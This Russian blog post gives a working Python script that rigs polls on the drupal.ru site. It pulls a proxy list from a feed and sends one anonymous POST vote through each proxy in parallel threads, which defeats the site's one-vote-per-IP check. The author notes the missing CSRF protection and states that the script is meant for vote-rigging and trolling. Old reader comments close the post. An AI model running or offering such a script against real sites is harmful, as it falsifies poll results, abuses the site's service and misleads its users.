Накручивание голосований на Друпал.ру
Простой скрипт на Питоне, накручивающий голосовалки на Друпал.ру:
import threading
import urllib
import re
import sys
import time
import random
try:
_, nid, variant = sys.argv[:3]
except:
print "Usage: python poll.py nid variant"
exit(1)
PROXY_PATTERN = r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{2,5}"
POLL_URL = "http://www.drupal.ru/inner_poll/vote_js"
PROXY_URLS = (
"http://feeds.feedburner.com/best-proxy/oKhv",
)
proxies = []
for url in PROXY_URLS:
try:
proxies.extend(re.findall(PROXY_PATTERN, urllib.urlopen(url).read()))
except:
continue
params = {
"n": nid, # node id
"v": variant # variant id ("0,1,n" if multiple)
}
data = urllib.urlencode(params)
threads = []
print len(proxies), "proxies =)"
time.sleep(3)
def job(p):
time.sleep(random.randint(0, 60))
urllib.urlopen(POLL_URL, data=data, proxies={'http': 'http://' + p})
for p in proxies:
t = threading.Thread(target=job, args=(p, ))
try:
t.start()
except:
pass
Запускать так:
python poll.py nid variant
, где nid — номер ноды, variant — номер варианта ответа (нумерация с нуля) либо варианты через запятую.
Комментарии к коду.
- На Друпал.ру голосование разрешено всем, даже анонимам.
- Единственное ограничение на голосование — IP должен быть уникальным в пределах номера ноды.
- Запрос осуществляется методом POST с передачей двух переменных: номера ноды и варианта. Про CSRF-токены не, не слышали.
- Каждый запрос делаем через свой прокси. Список прокси берем из RSS-ленты сайта http://best-proxy.ru/ Лента, как вы заметили, пропущена через Фидбернер, т.к. создатели сайта огораживаются от граббинга.
- Каждый запрос выделяем в свой тред.
- КПД проксей где-то 10%, что тоже неплохо.
Область применения скрипта — накрутка и троллинг.
Комментарии из старого блога
03/10/13 RxB: Ну зачем… Теперь все будут знать
03/10/13 Иван Гришаев: Да и хрен с ним. Во-первых, на Д.ру одни пхп-шники, во-вторых, best-proxy.ru больше не обновляется, прокси из РСС-ленты не работают.
03/25/13 Александр Мальков: Но, все равно - спасибо. Интересный подход.
Нашли ошибку? Выделите мышкой и нажмите Ctrl/⌘+Enter